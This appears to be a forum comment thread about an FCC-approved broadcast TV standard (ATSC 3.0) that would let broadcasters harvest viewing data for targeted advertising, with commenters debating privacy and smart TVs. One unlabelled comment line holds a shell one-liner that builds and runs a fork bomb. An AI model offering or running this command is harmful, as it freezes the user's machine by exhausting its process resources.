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Ads May Soon Stalk You on TV Like They Do on Your Facebook Feed (bloomberg.com)
Targeted ads that seem to follow us everywhere online may soon be doing the same on our TV. From a report: The Federal Communications Commission is poised to approve a new broadcast standard that will let broadcasters do something cable TV companies already do: harvest data about what you watch so advertisers can customize pitches. The prospect alarms privacy advocates, who say there are no rules setting boundaries for how broadcasters handle personal information. The FCC doesn't mention privacy in the 109-page proposed rule that is scheduled for a vote by commissioners Thursday. "If the new standard allows broadcasters to collect data in a way they haven't before, I think consumers should know about that," Jonathan Schwantes, senior policy counsel for Consumers Union, said in an interview. "What privacy protections will apply to that data, and what security protections?" For broadcasters, Next Gen TV represents an advance into the digital world that for decades has been siphoning viewers away to the likes of Facebook, Netflix, Google's YouTube and Amazon's Prime video service.
Can we please have Tom Wheeler back?
ATSC 1.0 works without an Internet connection for two-way communication. Sounds like its replacement will require each TV to be a connected device. This actually takes away a major advantage of over-the-air TV: that it's free and available without Internet.
If every TV will need Internet, then people might as well just watch Amazon or Netflix online -- over-the-air broadcasters are actually putting themselves out of business.
Me? I'll be at the Pirate Bay or enjoying theater and concerts in real life if this happens. No way that I'll ever allow a connected device with camera, screen, and mic into my home (aka a Telescreen from 1984).
A large, slow monitor that comes with useless spare parts built inside.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
https://www.fcc.gov/ecfs/filin...
Make sure they hear about it -- privacy is important, turning all TVs into IoT devices is stupid...
I'll just find something else to do.
We have a TV capable of being connected to the network/Internet. It's not connected and never will be. As far as I'm concerned the TV is a display device. It shouldn't be connected to anything, if I do connect anything it'll be some other device that I can disconnect and remove from the entertainment center if it proves to be a problem down the road.
Do not look into laser with remaining eye.
I find these 'targeted ads' are either for something I've bought already, or for the exact same thing that I just looked at and didn't buy because I have already decided against it. In either case, I don't see how it is helping anyone.
Laws are rules for the court, but merely a bottom bar to hit for life. Think beyond laws in your actions always.
Whenever there is nothing on TV (like, say, 99% of the time) my TV is basically a computer display for various things from entertainment to man pages, i.e. whatever the tuner is tuned to, I don't know.
To make matters worse, my remote is kinda wonky and sometimes changes channels by itself, which is why I keep it pointing to the wall whenever I watch TV (or rather, whenever it changes the channels because I forgot, change it back to what I wanted to see and THEN point it to the wall). So it's quite possible I "watch" Spongebob and Big Boobs Bazinga back to back.
Now profile THAT!
So you might be watching SpongeBob with your wife and and ad will pop up asking "Would you like to watch Teenage Enema Nurses again"?
I'd probably ask "Honey? You watched it without me?"
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
It's the stuff your friends or advertisers posted which Facebook wants you to see. It has the following purposes
1) To show you ads
2) To show you political content the people who run FB approve of
3) To show you stuff your friends have shared.
4) To give people a virtual slap for posting political content the people who run FB don't approve of. I.e. to enforce the Overton Window.
5) To collect lots of metadata from people which can be commercialised in a variety of scummy ways
tl;dr - don't post to FB and don't look at the feed because it's absolute cancer.
Though I have to admit I do have a FB account and Facebook messenger on my phone because a lot of people I know use it for messaging.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I'm anti-freedom. One of the proper functions of government is to keep corporations on a tight leash and restrict their ability to violate customers' privacy. Otherwise, all corporations will violate customers' privacy -- there simply isn't enough of a market for privacy unless it's created by force.
I'm anti-freedom. One of the proper functions of government is to keep corporations on a tight leash and restrict their ability to violate customers' privacy.
In general, one of the functions of Government is to ensure that one can exercise their rights *and* not infringe on the rights of others. Both Conservatives and Liberals are guilty of forgetting and/or ignoring that.
It must have been something you assimilated. . . .
Look, I am a huge privacy guy, but I am also a huge freedom guy. If you have a problem with your TV spying on you, use a different TV or provider. Or ditch the TV; who needs one in 2017 with the internet available? No one is forcing you to use these services.
That's fine as long as you have that option, but if spying TV's earn the maker more money, then the non-spying TV's will become harder and harder to find at any price.
I use my TV mainly to watch movies, it's hard to find an affordable 60" panel that's not also a "smart TV".
Never mind that.
WTF is "broadcast television"?
#DeleteFacebook
... the money spent every month on cable subscriptions could buy a lot of DVD and Blu-ray discs.
It must have been something you assimilated. . . .
ATSC 3.0 will be delivered over-the-air, just like 1.0. The difference is the signal is based on "internet protocol" for reasons that make it easy for any device (tablet, phone) to receive the signals. Also, ATSC 3.0 is designed for two-way communication. What is interesting is how they plan on doing this. Turns out there may be plans to have what is called a "Dedicated Return Channel" (DRC), which is a separate frequency that the TV uses to transmit data to the broadcast station. DRC can be read about here: https://www.atsc.org/candidate... If this turns out to be true, it's essentially a "free" over-the-air quasi internet connection controlled and limited by the broadcast station. This is a pretty significant detail.
Banning trans fats doesn't make food healthy. It makes food safer. Your Cheetos are still junk food, whether they have trans fat or not.
Oh for fuck's sake. COPIES. Why the hell would you spell it "copy's"?
ATSC 3.0 offers better reception and uses modern codecs.
Broadcasters can easily double number of channels and do so with much higher quality with less user effort (installing and positioning antennas) needed for reliable reception.
ATSC 3.0 does not require Internet connectivity to work. At least it is not required by the specification.
There is all kinds of crap ATSC 3.0 is capable of doing that would in my view be really bad:
Worst possible and perhaps most likely scenario is inclusion of "return channel" (DRC) transmitters into television sets turning them into two way bugs.
Followed by encrypted content and related plays at turning OTA into a subscription service or somehow forcing Internet access to get encryption key for data collection/stalking purposes. I personally think the likelihood of this occurring is slim.
Suspect features to push ads over a logically separate channel from the mpeg stream won't ever be used for the simple fact it will be too easy to configure receivers to ignore.